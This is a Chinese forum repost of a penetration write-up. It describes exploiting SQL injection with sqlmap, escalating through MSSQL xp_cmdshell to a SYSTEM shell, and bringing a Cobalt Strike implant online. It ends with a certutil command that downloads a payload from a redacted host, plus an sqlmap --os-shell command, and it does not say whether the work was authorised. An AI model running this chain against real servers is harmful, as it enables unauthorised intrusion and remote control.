搜索

[20667] 2021-08-11_一次简单又复杂的shell

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2021-08-11_一次简单又复杂的shell 一 次 简 单 又 复 杂 的 s h e l l 原 创   v o i d z e r o   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 8 - 1 1     从 同 事 那 拿 到 站 点 比 较 老 旧 的 ， 到 处 都 是 注 入 点                 直 接 放 入 s q l m a p 里 跑                 跑 出 注 入 后 ， 看 见 是 m s s q l ， 这 里 使 用 参 数 ： - - c u r r e n t - u s e r ， 发 现 并 不 是 s a 权 限 。                 同 事 然 后 跑 出 后 台 账 号 密 码 后 ， 找 半 天 找 不 到 后 台 。                     在 这 个 站 上 找 不 到 后 台 ， 随 即 放 弃 ， 然 后 通 过 子 域 名 上 ， 找 到 了 一 个 同 样 的 c m s ， 也 是 到 处 都 是 注 入 到 ， 同 样 的 配 方 同 样 味 道 ， 还 是 找 不 到 后 台 。                 再 次 丢 入 s q l m a p 发 现 是 同 一 个 数 据 库 ， 只 是 两 个 站 点 在 不 同 的 库 而 已 ， 就 在 快 放 弃 的 时 候 ， 同 样 执 行 了 - - c u r r e n t - u s e r 发 现 是 s a 权 限 ， 不 同 的 站 点 居 然 数 据 库 的 权 限 不 一 样 ， 这 些 有 的 搞 了 。                   既 然 找 不 到 后 台 那 就 直 接 通 过 m s s q l 的 x p _ c m d s h e l l 来 写 s h e l l 吧                 首 先 通 过 — o s - c m d = w h o a m i
                返 回 的 是 s y s t e m 权 限                                 然 后 再 用 — o s - s h e l l 来 实 现 交 互 式 的 s h e l l ， 再 通 过 p o w e r s h e l l 来 上 线 c s 首 先 执 行 了 一 下 d n s l o g 判 断 一 下 目 标 机 器 出 不 出 外 网                 发 现 主 机 可 以 出 外 网 ， 这 时 候 就 可 以 通 过 p o w e r s h e l l 进 行 上 线 啦 ， 但 是 执 行 的 时 候 却 命 令 后 缺 发 现 ， 跟 我 执 行 的 命 令 不 相 同 ， 仿 佛 再 在 列 出 进 程 的 名 字 。                 而 且 不 跑 完 执 行 不 了 我 的 命 令 ， 问 了 下 同 事 有 没 有 相 同 的 状 况 ， 他 说 他 执 行 了 n e t s t a t ， 然 后 我 们 换 了 几 个 i p 发 现 无 论 执 行 什 么 都 要 先 把 上 次 的 命 令 执 行 结 果 回 显 完 ， 才 可 以 继 续 执 行 下 一 个 命 令 。                 目 标 主 机 进 程 较 多 ， 跑 是 速 度 又 慢 ， 在 等 了 将 近 4 个 小 时 之 后 终 于 跑 完 了 。 然 后 进 行 p o w e s h e l l 的 上 线 语 句 ：                 发 现 有 格 式 上 的 错 误 ， 经 过 了 一 下 排 错 ， 怀 疑 可 能 是 单 引 号 跟 双 引 号 的 符 号 问 题 。                 所 以 打 算 使 用 下 载 恶 意 e x e 并 执 行 的 形 式 来 获 取 s h e l l 。 使 用 w i n d o s 自 带 的 证 书 下 载 的 命 令 来 绕 过 下 载 文 件 下 载 完 后 ， 并 执 行 ， 这 时 候 n t 同 事 说 了 一 句 看 下 有 没 有 下 载 成 功 ， 随 即 执 行 了 d i r 命 令                                 然 后 发 现 执 行 的 目 录 在 C : W i n d o w s S y s t e m 3 2 ， 底 下 有 9 0 0 0 + 个 文 件 ， 上 面 说 了 执 行 命 令 后 必 须 回 显 完 成 才 可 以 执 行 下 一 个 命 令 ， 心 中 一 万 只 草 泥 马 奔 腾 而 过 。                   这 里 使 用 了 服 务 器 并 且 加 上 了 s q l m a p 的 免 确 认 参 数 ： - - b a t c h 命 令 以 及 后 台 执 行 命 令 ： n o h u p 进 行 跑   最 终 在 服 务 器 上 跑 了 2 8 个 小 时 才 完 成 了 全 部 回 显 。 。 。 。 。   在 上 面 看 到 了 我 们 上 传 的 c s 的 马 ， 随 即 进 行 执 行                 成 功 上 线 ， s y s t e m 权 限 c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p s : / / x x x x x x   c s . e x e n o h u p   p y t h o n   s q l m a p   - r   / r o o t / 1 . t x t   - - b a t c h – o s - s h e l l = w h o a m i   &

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理